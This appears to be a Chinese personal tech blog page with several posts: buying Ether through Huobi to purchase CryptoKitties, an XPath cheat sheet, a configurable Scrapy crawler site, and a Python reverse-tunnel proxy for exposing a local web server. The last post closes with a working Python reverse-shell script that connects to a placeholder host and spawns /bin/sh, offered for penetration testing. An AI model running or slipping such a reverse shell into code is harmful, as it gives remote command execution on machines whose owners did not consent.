以太坊云撸猫教程

最近听说以太坊上能撸猫了,而且据说还能养猫赚钱,有些猫的价格已经高的离谱,按今天一个以太币 = 2800 ¥ 的节奏,1000 个 就是 280 w。

那么作为国内的普通用户想尝试下养一只猫该怎么办呢,因为可能大家没有任何虚拟币,而且很多国内的渠道都已经封闭,但是买猫的话只能通过以太币购买。

下面介绍一下我使用的方法

0x01 买入以太币

首先声明我和任何比特币交易所没有关系,下文提到的火币只是因为之前用过,所以比较熟悉操作流程。另外我的方法肯定不是最省钱(由于手续费的存在)的方式,这里只是给没有玩过币又想买猫的人的提供一个思路。

  1. 由于现在买币的各种限制,国内只能通过 c2c 交易买到相应的币,c2c 是指由平台担保,个人之间交易虚拟币的模式。所以我们需要先注册 https://www.huobi.com/ 火币网的的账户,点击购买比特币(由于目前火币 c2c 只开通了 btc 和 usdt 的交易,没有 eth 的交易),这里需要先通过实名认证才能买入 btc。

  2. 接下来就是选择商家,选择买入的量,点击确认买入,就生成了一个订单。

  1. 然后按照他们指定的方法(支付宝,微信,银行卡转账)打完钱后,并沟通完成后,一般几分钟内就可以看到自己的账户已经入账比特币。

  2. 接下来点击资金管理,选择与火币 Pro 互转,将买入的比特币转入 Pro 账户,这样才能通过交易所将 比特币换成 以太币。

  3. 转入后我们进入 https://www.huobi.pro/zh-cn/btc_usdt/exchange/ 交易。这里面一定要看清楚买入的是 eth

  4. 买入成交后就可以看到自己 Pro 账户的资产有 eth 的份额了。 https://www.huobi.pro/zh-cn/finance/

0x02 以太币钱包

接下来我们要做的是将交易所的 eth 提取到自己的钱包中。

  1. 首先我们需要有自己的以太坊钱包,这里面介绍一种 chrome 插件的钱包 MetaMask。首先去 chrome 的应用商店下载 MetaMask

![](/media/15128818707667.jpg)
  1. 下载注册完成后,就有自己以太币的钱包了,这里一定要保存好自己的私钥,就是那一串随机的字母。接下里我们拷贝钱包的地址,这个可以看成是自己对外交易的唯一账户名

  1. 钱包账户准备好后,我们进入火币网的提币地址管理界面,https://www.huobi.pro/zh-cn/withdraw_address/ ,设置提币地址

  2. 设置完成后,去资产页面提币即可

  3. 具体到账速度看当时以太网的网络状况,由于目前撸猫的人太多,导致以太网交易有些拥堵。交易被确认后可以在 MetaMask 看到自己的以太币余额。

0x03 买猫

  1. 接下来可以在 https://www.cryptokitties.co/marketplace 挑选自己心仪的猫,具体怎么挑,什么样的属性有价值,这边就不多介绍了。
  2. 选择完点击 BUY NOW, 最后会出现下图的弹窗,GAS LIMIT 是指让节点执行多少次指令(因为以太网开发的智能合约是图灵完备的,所以有可能陷入死循环,所以需要指定运行多少次后停止), GAS PRICE 指的是你愿意为本次交易的一个单位 gas 愿意支付的手续费, 1 wei = 1/10^18 eth

  1. 点击 BUY EHTER 即可完成支付,然后只需等待,只要最终全网确认完成,你就有自己的猫啦!

0x04 其他

最后希望大家以平常心看待这个游戏;-)

xpath 使用教程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<div class="demo">
<span>
</span>
<ul>
<li class="item-0">
<a href="link-0">link0-item</a>
</li>
<li class="item-1">
<a href="link-1">link1-item</a>
</li>
<li class="item-2">
<a href="link-2">link2-item</a>
</li>
</ul>
</div>

这篇文章列举常用的一些 xpath 用法,以便同学们更好的理解使用 http://www.anycrawl.info/ 这个网站

  1. //div (获取所有 div 元素,不管在文档什么位置)
  2. /div (获取根路径 div 元素)
  3. //div/span (获取 div 元素下一级的 span 元素)
  4. //div//span (获取 div 元素所有后代的 span)
  5. //ul/li[1] (获取 ul 子元素下的第一个 li 元素)
  6. //ul/li[last()] (获取 ul 子元素下的最后一个 li 元素)
  7. //div[@class="demo"] (获取 class 为 demo 的 div 元素)
  8. //ul/li/a/@href (获取 ul>li>a 链接的 href 属性)
  9. //ul/li/a/text() (获取 ul>li>a 链接的内容)
  10. //*[@class="item-0"] (获取 class 为 item-0 的元素)
  11. //*[contains(@class, "de")] (获取 class 元素包含 de 的元素)

参考手册:xpath cheatsheet

动态可配置化 Python 爬虫教程

爬虫大家都很熟悉,像 scrapy 这种 Python 爬虫框架也很成熟,不过每写一个爬虫都得重新复制一份代码,这部分如果做成可配置的话,能相应减少一些工作量,对新手也会友好些,所以我花了点时间,开发了一个动态可配置的爬虫网站 http://www.anycrawl.info ,基于 scrapy ,提供一些配置项,5分钟就可生成一个通用爬虫,并可直接下载代码使用。

我举 http://www.anycrawl.info/project/15/ 豆瓣小组爬虫的例子来介绍下网站的使用方法。

0x00 需求


我们希望能够爬取害羞组下的所有话题的标题,作者,以及对应的内容和图片

0x01 基础配置

基础配置主要是 scrapy 的 settings.py 的一些选项

  1. 项目名,别名不说了,域名指的是 allowed_domains,也就是允许爬虫在哪些域名下爬取
  2. 爬虫开始的链接指的是 start_urls,指的是爬虫从哪个链接开始爬取,比如,https://www.douban.com/group/haixiuzu/discussion , 从豆瓣害羞组的第一页爬取。
  3. 保存数据的方式,目前支持 json, csv, image, mongodb, elasticsearch。(如果选择 image 的方式,则需要在下面配置规则的时候,选择保存图片链接 到 image_urls 这个字段,scrapy 会自动下载图片。mongodb, elasticsearch 则需要自己在 settings.py 配置你的 host 和 port)

    我们配置如下

0x02 规则列表

  1. 规则列表分成两部分,链接正则 和 xpath 规则,必须先配置链接正则,链接正则对应的概念是 scrapy 的 Rule 的概念,意思是根据你给定的链接正则去匹配,如果匹配的到,则执行回调函数 callback, callback 可以为空,如果为空,则放入队列中。

如上面 /group/\w+/discussion\?start=[0-9]{0,4}$ 这个对应的是小组分页的链接正则,遇到这些链接,只要丢到队列中,由 scrapy 下次处理,/group/topic/\d+/ 这个对应的是话题的详情链接,遇到这些,则执行 parse_topic 函数,那么这个函数具体执行什么内容,这就看下面配置的 xpath 规则,xpath 教程 ,如我们需要 title, author, description, create_time, image_urls 这几个字段,直接配置即可,只要能通过 xpath 语法找到。

配置完成后,会对应生成如下的源码:

0x03 爬取状态

点击提交后,就跳转到下载页面

这里面有个数据指标的功能,记录你爬取的数目,目前看起来有点鸡肋,如果不需要记录,将 settings 里面的 COUNT_DATA 改为 False 就行。

0x04 运行爬虫

运行爬虫必须有 python 和 scrapy 环境,安装 python 和 pip 这里不介绍了,安装 scrapy 命令如下

1
pip install scrapy

然后下载刚才的项目代码,解压后,进入 output/xxxxxx 目录,执行

1
python scripts.py

或者直接用 scrapy

1
scrapy crawl <项目名>

0x05 Todo

  1. 支持自动登录
  2. 支持动态爬取
  3. api 接口爬虫
  4. 能适配更多爬取场景
  5. 支持 css 解析网页
  6. 其他

谈谈 django 应用实践

python 的 web 框架非常多,比较出名的有 django, flask, tornado。django 作为一个老牌框架,无论是文档还是代码质量都非常高,另外他自带的 admin 后台和一些有用的 app,如果你的需求是做 cms 之类的 web 应用的话,基本上不用开发多少代码就能出一个成品。不过很多新手可能一开始不太适应他的设计模式,遇到问题后基本就懵了,所以这里我按照自己用 django 的经验,写一下 django 的一些应用实践,可能写的比较零散,大家见谅。

整体流程

Read More

由浅入深写代理(10)-内网穿透

本篇主要介绍代理的一个常用的功能:内网穿透
很多人经常会有这么一个需求,需要将本地开发的 web 项目给外网的人看下,再搭一遍到 vps 太麻烦,于是就有借助拥有公网 ip 的主机来中转。

有专门的软件做这件事,如 ngrok, frp。

介绍下原理
由于内网的机器有 NAT 或 防火墙什么的,外网 vps 是无法会直接连接的,所以想要通过 vps 来中转就需要内网先连接 vps,然后 vps 通过连接的套接字来转发数据。

贴下代码

client_proxy

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import socket
import select
def send_data(sock, data):
print(data)
bytes_sent = 0
while True:
r = sock.send(data[bytes_sent:])
if r < 0:
return r
bytes_sent += r
if bytes_sent == len(data):
return bytes_sent
def handle_tcp(sock, remote):
# 处理 client socket 和 remote socket 的数据流
try:
fdset = [sock, remote]
while True:
# 用 IO 多路复用 select 监听套接字是否有数据流
r, w, e = select.select(fdset, [], [])
if sock in r:
data = sock.recv(4096)
if len(data) <= 0:
break
result = send_data(remote, data)
if result < len(data):
raise Exception('failed to send all data')
if remote in r:
data = remote.recv(4096)
if len(data) <= 0:
break
result = send_data(sock, data)
if result < len(data):
raise Exception('failed to send all data')
except Exception as e:
raise(e)
finally:
sock.close()
remote.close()
while True:
s_conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s_conn.connect(("xx.xx.xx.xx", 2333))
client_conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_conn.connect(('127.0.0.1', 8000))
handle_tcp(s_conn, client_conn)

server_proxy

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
import threading
import socket
import select
# AF_INET: 基于 IPV4 的网络通信 SOCK_STREAM: 基于 TCP 的流式 socket 通信
s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s1.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# 将套接字绑定到地址
s1.bind(('', 2333))
# 监听TCP传入连接
s1.listen(5)
# AF_INET: 基于 IPV4 的网络通信 SOCK_STREAM: 基于 TCP 的流式 socket 通信
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# 将套接字绑定到地址
s2.bind(('', 8000))
# 监听TCP传入连接
s2.listen(5)
def send_data(sock, data):
print(data)
bytes_sent = 0
while True:
r = sock.send(data[bytes_sent:])
if r < 0:
return r
bytes_sent += r
if bytes_sent == len(data):
return bytes_sent
def handle_tcp(sock, remote):
# 处理 client socket 和 remote socket 的数据流
try:
fdset = [sock, remote]
while True:
# 用 IO 多路复用 select 监听套接字是否有数据流
r, w, e = select.select(fdset, [], [])
if sock in r:
data = sock.recv(4096)
if len(data) <= 0:
break
result = send_data(remote, data)
if result < len(data):
raise Exception('failed to send all data')
if remote in r:
data = remote.recv(4096)
if len(data) <= 0:
break
result = send_data(sock, data)
if result < len(data):
raise Exception('failed to send all data')
except Exception as e:
raise(e)
finally:
sock.close()
remote.close()
while True:
con1, addr1 = s1.accept()
print("new connection from %s:%s" % addr1)
con2, addr2 = s2.accept()
print("new connection from %s:%s" % addr2)
t = threading.Thread(target=handle_tcp, args=(con1, con2))
t.start()
  1. 假设我们需要共享的 web 是 python 的 simple http_server, 首先执行 python -m SimpleHTTPServer, 这样本地会绑定 8000 端口
  2. 在自己的 vps 上运行 python3 reverse_server.py
  3. 在本地运行 python3 reverse_client_proxy.py
  4. 接下来我们直接在外网访问 vps 的地址: http://xx.xx.xx.xx:8000 就可以发现能够转发内网的数据了。

github 地址: reverse_client_proxy.py

reverse_server_proxy

一般内网穿透在网络安全人员做内网渗透测试的时候比较有用,反弹一个 shell。就可以任意执行命令。

这里分享一个最基本的 python 反弹 shell 脚本

1
2
3
4
5
6
7
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("x.x.x.x",2333))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"]);